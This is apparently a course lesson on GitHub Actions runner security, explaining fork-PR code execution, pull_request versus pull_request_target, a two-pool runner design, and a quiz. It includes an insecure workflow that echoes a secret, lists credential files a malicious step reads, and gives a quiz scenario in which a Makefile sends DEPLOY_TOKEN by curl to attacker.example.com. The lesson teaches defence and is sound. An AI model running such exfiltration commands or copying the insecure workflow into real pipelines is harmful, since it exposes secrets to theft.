Git, CI/CD & GitOpsXLI · Runner SecurityCodeExecution
Arbitrary code execution — every CI run executes attacker-controlled code if the trigger is a PR from outside
What you'll learn
- Explain why pull_request from a fork executes contributor code as the workflow author
- Distinguish pull_request from pull_request_target and identify the trigger that exposes secrets
- Map the filesystem, environment, and network capabilities of a malicious workflow step
- Apply the fork-PR separation pattern that isolates untrusted code from secrets
Prerequisites
Verified against Git 2.55.x teaching target; 2.40+ minimum · GitHub Actions continuous service; Aug 2026 documentation baseline · Argo CD v3.5.x teaching target; v3.0+ minimum · Flux v2.9.x · Sigstore Cosign v3.1.x · SLSA v1.2 · OCI Distribution Specification v1.1 · Git LFS v3.7.1 · Kubernetes (cross-course target) 1.36.x
A CI run executes a script. The script is read from the
workflow file. The bytes the script operates on are read
from the commit that triggered the run. When the trigger is
a pull_request from a fork, the commit is the contributor’s.
The workflow file is the target repo’s, but every step that
touches the contributor’s bytes — every run: | block, every
npm test — is bash against attacker-controlled input. The
fork PR is a code execution vector, and the runner is the
target.
The trigger is the trust level
The trigger decides who controls the bytes the workflow executes:
flowchart TB
subgraph T1["pull_request\n(from a fork)"]
A1["Contributor commit"] --> W1["Workflow in target context\nread-only $GITHUB_TOKEN\nNO secrets"]
end
subgraph T2["pull_request_target\n(from a fork)"]
A2["Contributor commit"] --> W2["Workflow in target context\nWRITE $GITHUB_TOKEN\nsecrets EXPOSED"]
end
pull_request(from a fork). The workflow runs in the target repo’s context, but$GITHUB_TOKENis read-only, secrets are not exposed, and manual approval is required for first-time contributors. The safe trigger for fork-PR builds.pull_request_target(from a fork). The workflow runs in the target repo’s context AND exposes secrets AND gives the workflow a write$GITHUB_TOKEN. The defaultactions/checkout@v4checks out the contributor’s commit, not the target’s. The combination — fork commit checked out, secrets in the environment, write token — is the textbook fork-PR execution primitive.
The trap is that pull_request_target is needed for
workflows that comment on the PR, label it, or assign
reviewers. The safe pattern is to split the workflow: use
pull_request for the build, and pull_request_target
only for the comment step that does not checkout the
contributor’s commit.
What the malicious step can do
Once a fork PR runs on a runner with the workflow author’s
environment, the contributor’s run: block can:
flowchart LR
FS["Filesystem"] --> R["Runner host"]
ENV["Environment"] --> R
NET["Network"] --> R
R --> P["Exfiltration\nhost pivot\npersistence"]
- Filesystem. Read every file the runner process can
read:
~/.aws/credentials,~/.kube/config, the runner’s.runnertoken file, cached build artifacts. Write to every file the runner process can write. - Environment. Read every environment variable in the
job. On self-hosted runners with secrets in
~/.bashrc, the step reads them too. - Network. Open any outbound connection the host’s network allows. Unrestricted egress is the exfiltration channel; restricted egress is the containment.
A fork PR step with these capabilities is an interactive shell on the runner host with the workflow author’s identity. The next four lessons cover the controls that limit each capability.
The structural separation
The control that defends against arbitrary code execution is not in the workflow file; it is in the runner architecture. The pattern is two pools:
flowchart TB
subgraph POOL_A["Pool A: untrusted builds"]
A1["Triggers: pull_request from fork"]
A2["Secrets: NONE"]
A3["Egress: forge + registry"]
A4["Ephemeral: yes"]
end
subgraph POOL_B["Pool B: trusted builds"]
B1["Triggers: push to protected branch"]
B2["Secrets: full set"]
B3["Egress: full set"]
B4["Ephemeral: yes"]
end
POOL_A -. "no shared state" .-> POOL_B
- Pool A (untrusted builds). Runs only on
pull_requestfrom forks. No secrets. Egress restricted to the forge and package registry. Ephemeral, rebuilt per job. - Pool B (trusted builds). Runs only on
pushto protected branches or onpull_requestfrom internal branches. Full secrets, full network. Ephemeral.
The two pools share no runners, no credentials, no network identities. A compromise of Pool A is a compromise of an empty host; a compromise of Pool B is a compromise of the team’s secrets. There is no path from one to the other.
fork-pr build versus comment-and-label
A common need is to run tests on a fork PR AND post a
comment. The unsafe pattern is one workflow with
pull_request_target that checks out the contributor’s
commit and runs tests:
# UNSAFE — do not copy
on:
pull_request_target:
jobs:
test:
runs-on: self-hosted
steps:
- uses: actions/checkout@v4
with:
ref: "${ github.event.pull_request.head.sha }"
- run: npm test
- run: echo "$AWS_SECRET_ACCESS_KEY"
The ref: ${ github.event.pull_request.head.sha } checks
out the contributor’s commit; npm test runs contributor-
controlled code; the echo prints a secret. The result is
full code execution with the target repo’s secrets in the
environment.
The safe pattern is two workflows:
# Workflow 1: build on pull_request (no secrets)
on:
pull_request:
jobs:
test:
runs-on: [self-hosted, untrusted]
steps:
- uses: actions/checkout@v4
with:
ref: "${ github.event.pull_request.head.sha }"
- run: npm test
# Workflow 2: comment on pull_request_target (no checkout)
on:
pull_request_target:
jobs:
comment:
runs-on: [self-hosted, trusted]
steps:
- uses: actions/github-script@v6
with:
script: |
github.rest.issues.createComment({...})
The build workflow runs on the untrusted pool with no secrets; the comment workflow runs on the trusted pool with no checkout. The contributor’s code runs in the build workflow; the contributor’s code does not run in the comment workflow.
Jenkins and GitLab analogues
GitLab CI treats fork MR pipelines differently: fork MRs run with a restricted set of CI/CD variables, in the fork’s namespace context. Variables that grant production access belong to the internal CI context, not the fork CI context.
Jenkins has no native fork concept; multi-branch pipelines that build PRs run the Jenkinsfile in the PR branch. The defence is the same: PR builds on agents with no production credentials; merge builds on agents with credentials.
Production discipline
- Use
pull_requestfor fork-PR builds; neverpull_request_targetfor builds that checkout the PR head.pull_request_targetis for trusted-only operations (comment, label, assign) that do not execute contributor code. - Two pools, two secrets, two networks. The untrusted pool has no production credentials and egress-restricted networking. The trusted pool has the production credentials and full networking. The pools share nothing.
- Treat the runner’s environment as an attacker-readable resource. Scope secrets per job and prefer short-lived OIDC over long-lived keys.
- Audit for
pull_request_target+actions/checkoutof the PR head. The combination is the canonical fork-PR attack primitive.
Cross-course references
- Git, CI/CD & GitOps — Part XXXVII-03 (The runner and its environment) covers the trust boundary the runner represents.
- Git, CI/CD & GitOps — Part XXXVIII-02 (Control plane isolation) covers the secrets plane the runner reads from.
- Git, CI/CD & GitOps — Part XL-03 (Ephemeral runners) covers the runner class that makes the two-pool pattern tractable.
- Docker for Production Sysadmins — Part XXXV-04 (Docker socket security) covers the file the malicious step reaches for first.
Quiz
Knowledge check · 4 questions
Q1. A workflow uses `on: pull_request_target` and the first step is `actions/checkout@v4` with `ref: ${ github.event.pull_request.head.sha }`. What is the security problem?
Q2. GitHub Actions secret masking in build logs is a security control that prevents a malicious fork-PR step from exfiltrating secrets.
Q3. Explain the difference between `pull_request` and `pull_request_target` triggers in GitHub Actions, and state which one is appropriate for each operation: (a) running tests on a fork PR, (b) commenting on a fork PR.
Q4. Diagnose the fork-PR execution primitive in a workflow file and recommend the two-workflow pattern that closes the gap.
Team T's repository has a single workflow with on: pull_request_target. The first job runs-on: ubuntu-latest and does actions/checkout@v4 with ref: ${ github.event.pull_request.head.sha }, then runs `make ci`, which executes the contributor's Makefile. The job has access to a DEPLOY_TOKEN secret. An external contributor opens a fork PR with a Makefile target named `ci` that does `curl -d "$DEPLOY_TOKEN" https://attacker.example.com/`. The team wants both the test run and the comment-on-PR behaviour.
Passing score: 75%. Answers are checked in this browser.